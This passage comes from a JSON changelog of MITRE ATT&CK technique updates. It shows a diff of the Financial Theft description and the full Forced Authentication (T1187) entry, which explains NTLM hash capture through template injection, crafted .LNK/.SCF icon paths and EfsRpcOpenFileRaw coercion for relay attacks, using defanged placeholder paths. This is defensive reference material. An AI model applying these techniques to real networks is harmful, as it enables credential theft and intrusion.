nowrap=\"nowrap\">h&nbsp;extortion,&nbsp;social&nbsp;engineering,&nbsp;technical&nbsp;theft,&nbsp;or&nbsp;other&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ethods&nbsp;aimed&nbsp;at&nbsp;their&nbsp;own&nbsp;financial&nbsp;gain&nbsp;at&nbsp;the&nbsp;expense&nbsp;of&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ethods&nbsp;aimed&nbsp;at&nbsp;their&nbsp;own&nbsp;financial&nbsp;gain&nbsp;at&nbsp;the&nbsp;expense&nbsp;of&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;availability&nbsp;of&nbsp;these&nbsp;resources&nbsp;for&nbsp;victims.&nbsp;Financial&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;availability&nbsp;of&nbsp;these&nbsp;resources&nbsp;for&nbsp;victims.&nbsp;Financial&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eft&nbsp;is&nbsp;the&nbsp;ultimate&nbsp;objective&nbsp;of&nbsp;several&nbsp;popular&nbsp;campaign&nbsp;ty</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eft&nbsp;is&nbsp;the&nbsp;ultimate&nbsp;objective&nbsp;of&nbsp;several&nbsp;popular&nbsp;campaign&nbsp;ty</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pes&nbsp;including&nbsp;extortion&nbsp;by&nbsp;ransomware,(Citation:&nbsp;FBI-ransomw</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pes&nbsp;including&nbsp;extortion&nbsp;by&nbsp;ransomware,(Citation:&nbsp;FBI-ransomw</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are)&nbsp;business&nbsp;email&nbsp;compromise&nbsp;(BEC)&nbsp;and&nbsp;fraud,(Citation:&nbsp;FB</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are)&nbsp;business&nbsp;email&nbsp;compromise&nbsp;(BEC)&nbsp;and&nbsp;fraud,(Citation:&nbsp;FB</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">I-BEC)&nbsp;\"pig&nbsp;butchering,\"(Citation:&nbsp;wired-pig&nbsp;butchering)&nbsp;ban</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">I-BEC)&nbsp;\"pig&nbsp;butchering,\"(Citation:&nbsp;wired-pig&nbsp;butchering)&nbsp;ban</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;hacking,(Citation:&nbsp;DOJ-DPRK&nbsp;Heist)&nbsp;and&nbsp;exploiting&nbsp;cryptocu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;hacking,(Citation:&nbsp;DOJ-DPRK&nbsp;Heist)&nbsp;and&nbsp;exploiting&nbsp;cryptocu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rrency&nbsp;networks.(Citation:&nbsp;BBC-Ronin)&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;[Com</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rrency&nbsp;networks.(Citation:&nbsp;BBC-Ronin)&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;[Com</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">promise&nbsp;Accounts](https://attack.mitre.org/techniques/T1586)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">promise&nbsp;Accounts](https://attack.mitre.org/techniques/T1586)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;conduct&nbsp;unauthorized&nbsp;transfers&nbsp;of&nbsp;funds.(Citation:&nbsp;Inter</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;conduct&nbsp;unauthorized&nbsp;transfers&nbsp;of&nbsp;funds.(Citation:&nbsp;Inter</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">net&nbsp;crime&nbsp;report&nbsp;2022)&nbsp;In&nbsp;the&nbsp;case&nbsp;of&nbsp;business&nbsp;email&nbsp;comprom</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">net&nbsp;crime&nbsp;report&nbsp;2022)&nbsp;In&nbsp;the&nbsp;case&nbsp;of&nbsp;business&nbsp;email&nbsp;comprom</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ise&nbsp;or&nbsp;email&nbsp;fraud,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;utilize&nbsp;[Impersonation]</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ise&nbsp;or&nbsp;email&nbsp;fraud,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;utilize&nbsp;[Impersonation]</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1684/001)&nbsp;of&nbsp;a&nbsp;trusted</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1684/001)&nbsp;of&nbsp;a&nbsp;trusted</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;entity.&nbsp;Once&nbsp;the&nbsp;social&nbsp;engineering&nbsp;is&nbsp;successful,&nbsp;victims&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;entity.&nbsp;Once&nbsp;the&nbsp;social&nbsp;engineering&nbsp;is&nbsp;successful,&nbsp;victims&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">can&nbsp;be&nbsp;deceived&nbsp;into&nbsp;sending&nbsp;money&nbsp;to&nbsp;financial&nbsp;accounts&nbsp;con</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">can&nbsp;be&nbsp;deceived&nbsp;into&nbsp;sending&nbsp;money&nbsp;to&nbsp;financial&nbsp;accounts&nbsp;con</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">trolled&nbsp;by&nbsp;an&nbsp;adversary.(Citation:&nbsp;FBI-BEC)&nbsp;This&nbsp;creates&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">trolled&nbsp;by&nbsp;an&nbsp;adversary.(Citation:&nbsp;FBI-BEC)&nbsp;This&nbsp;creates&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;potential&nbsp;for&nbsp;multiple&nbsp;victims&nbsp;(i.e.,&nbsp;compromised&nbsp;accounts&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;potential&nbsp;for&nbsp;multiple&nbsp;victims&nbsp;(i.e.,&nbsp;compromised&nbsp;accounts&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;well&nbsp;as&nbsp;the&nbsp;ultimate&nbsp;monetary&nbsp;loss)&nbsp;in&nbsp;incidents&nbsp;involvin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;well&nbsp;as&nbsp;the&nbsp;ultimate&nbsp;monetary&nbsp;loss)&nbsp;in&nbsp;incidents&nbsp;involvin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;financial&nbsp;theft.(Citation:&nbsp;VEC)&nbsp;&nbsp;Extortion&nbsp;by&nbsp;ransomware&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;financial&nbsp;theft.(Citation:&nbsp;VEC)&nbsp;&nbsp;Extortion&nbsp;by&nbsp;ransomware&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;occur,&nbsp;for&nbsp;example,&nbsp;when&nbsp;an&nbsp;adversary&nbsp;demands&nbsp;payment&nbsp;fro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;occur,&nbsp;for&nbsp;example,&nbsp;when&nbsp;an&nbsp;adversary&nbsp;demands&nbsp;payment&nbsp;fro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;a&nbsp;victim&nbsp;after&nbsp;[Data&nbsp;Encrypted&nbsp;for&nbsp;Impact](https://attack.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;a&nbsp;victim&nbsp;after&nbsp;[Data&nbsp;Encrypted&nbsp;for&nbsp;Impact](https://attack.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1486)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;NYT-Colonial)&nbsp;and&nbsp;[Ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1486)(Citation:&nbsp;NYT-Colonial)&nbsp;and&nbsp;[Exf</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">filtration](https://attack.mitre.org/tactics/TA0010)&nbsp;of&nbsp;data</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iltration](https://attack.mitre.org/tactics/TA0010)&nbsp;of&nbsp;data,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;followed&nbsp;by&nbsp;threatening&nbsp;to&nbsp;leak&nbsp;sensitive&nbsp;data&nbsp;to&nbsp;the&nbsp;publ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;followed&nbsp;by&nbsp;threatening&nbsp;to&nbsp;leak&nbsp;sensitive&nbsp;data&nbsp;to&nbsp;the&nbsp;publi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ic&nbsp;unless&nbsp;payment&nbsp;is&nbsp;made&nbsp;to&nbsp;the&nbsp;adversary.(Citation:&nbsp;Mandia</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">c&nbsp;unless&nbsp;payment&nbsp;is&nbsp;made&nbsp;to&nbsp;the&nbsp;adversary.(Citation:&nbsp;Mandian</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nt-leaks)&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;dedicated&nbsp;leak&nbsp;sites&nbsp;to&nbsp;distri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t-leaks)&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;dedicated&nbsp;leak&nbsp;sites&nbsp;to&nbsp;distrib</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">bute&nbsp;victim&nbsp;data.(Citation:&nbsp;Crowdstrike-leaks)&nbsp;&nbsp;Due&nbsp;to&nbsp;the&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ute&nbsp;victim&nbsp;data.(Citation:&nbsp;Crowdstrike-leaks)&nbsp;&nbsp;Due&nbsp;to&nbsp;the&nbsp;po</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">otentially&nbsp;immense&nbsp;business&nbsp;impact&nbsp;of&nbsp;financial&nbsp;theft,&nbsp;an&nbsp;ad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tentially&nbsp;immense&nbsp;business&nbsp;impact&nbsp;of&nbsp;financial&nbsp;theft,&nbsp;an&nbsp;adv</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">versary&nbsp;may&nbsp;abuse&nbsp;the&nbsp;possibility&nbsp;of&nbsp;financial&nbsp;theft&nbsp;and&nbsp;see</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersary&nbsp;may&nbsp;abuse&nbsp;the&nbsp;possibility&nbsp;of&nbsp;financial&nbsp;theft&nbsp;and&nbsp;seek</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">king&nbsp;monetary&nbsp;gain&nbsp;to&nbsp;divert&nbsp;attention&nbsp;from&nbsp;their&nbsp;true&nbsp;goals</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;monetary&nbsp;gain&nbsp;to&nbsp;divert&nbsp;attention&nbsp;from&nbsp;their&nbsp;true&nbsp;goals&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;such&nbsp;as&nbsp;[Data&nbsp;Destruction](https://attack.mitre.org/techniq</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">such&nbsp;as&nbsp;[Data&nbsp;Destruction](https://attack.mitre.org/techniqu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues/T1485)&nbsp;and&nbsp;business&nbsp;disruption.(Citation:&nbsp;AP-NotPetya)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es/T1485)&nbsp;and&nbsp;business&nbsp;disruption.(Citation:&nbsp;AP-NotPetya)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training",
                            "M1018: User Account Management"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0495: Detection Strategy for Financial Theft"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2018-01-16 16:13:52.465000+00:00",
                    "modified": "2026-11-03 23:21:12.635000+00:00",
                    "name": "Forced Authentication",
                    "description": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept that information.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary  (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\n\nAlternatively, by leveraging the <code>EfsRpcOpenFileRaw</code> function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of <code>EfsRpcOpenFileRaw</code> function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of an NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\n\n",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1187",
                            "external_id": "T1187"
                        },
                        {
                            "source_name": "Rapid7",
                            "description": "Condon, Caitlin. (2022, April 24). PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains. Retrieved May 30, 2025.",
                            "url": "https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/"
                        },
                        {
                            "source_name": "Cylance Redirect to SMB",
                            "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.",
                            "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf"
                        },
                        {
                            "source_name": "GitHub Hashjacking",
                            "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.",
                            "url": "https://github.com/hob0/hashjacking"
                        },
                        {
                            "source_name": "Microsoft Managing WebDAV Security",
                            "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved November 17, 2024.",
                            "url": "https://web.archive.org/web/20100210125749/https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx"
                        },
                        {
                            "source_name": "Osanda Stealing NetNTLM Hashes",
                            "description": "Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.",
                            "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"
                        },
                        {
                            "source_name": "Didier Stevens WebDAV Traffic",
                            "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.",
                            "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/"
                        },
                        {
                            "source_name": "GitHub",
                            "description": "topotam. (2021, July 18). PetitPotam. PoC tool to coerce Windows hosts to authenticate to other machines. Retrieved May 30, 2025.",
                            "url": "https://github.com/topotam/PetitPotam"
                        },
                        {
                            "source_name": "US-CERT APT Energy Oct 2017",
                            "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                            "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
                        },
                        {
                            "source_name": "Wikipedia Server Message Block",
                            "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
                            "url": "https://en.wikipedia.org/wiki/Server_Message_Block"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Teodor Cimpoesu",
                        "Sudhanshu Chauhan, @Sudhanshu_C",
                        "Jiraput Thamsongkrah",
                        "Purinut Wongwaiwuttiguldej",
                        "Natthawut Saexu"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.4",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:21:12.635000+00:00\", \"old_value\": \"2025-10-24 17:49:16.134000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept that information.\\n\\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n\\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)\\n\\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary  (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)\\n\\nThere are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\\n\\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\\\\\[remote address]\\\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\\n\\nAlternatively, by leveraging the <code>EfsRpcOpenFileRaw</code> function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of <code>EfsRpcOpenFileRaw</code> function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of an NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\\n\\n\", \"old_value\": \"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\\n\\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n\\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)\\n\\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary  (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)\\n\\nThere are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\\n\\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\\\\\[remote address]\\\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\\n\\nAlternatively, by leveraging the <code>EfsRpcOpenFileRaw</code> function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of <code>EfsRpcOpenFileRaw</code> function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\\n\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\\n+Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept that information.\\n \\n The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n \\n@@ -11,5 +11,5 @@\\n * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\\n * A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\\\\\[remote address]\\\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\\n \\n-Alternatively, by leveraging the <code>EfsRpcOpenFileRaw</code> function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of <code>EfsRpcOpenFileRaw</code> function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\\n+Alternatively, by leveraging the <code>EfsRpcOpenFileRaw</code> function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of <code>EfsRpcOpenFileRaw</code> function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of an NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\\n \"}}}",
                    "previous_version": "1.4",
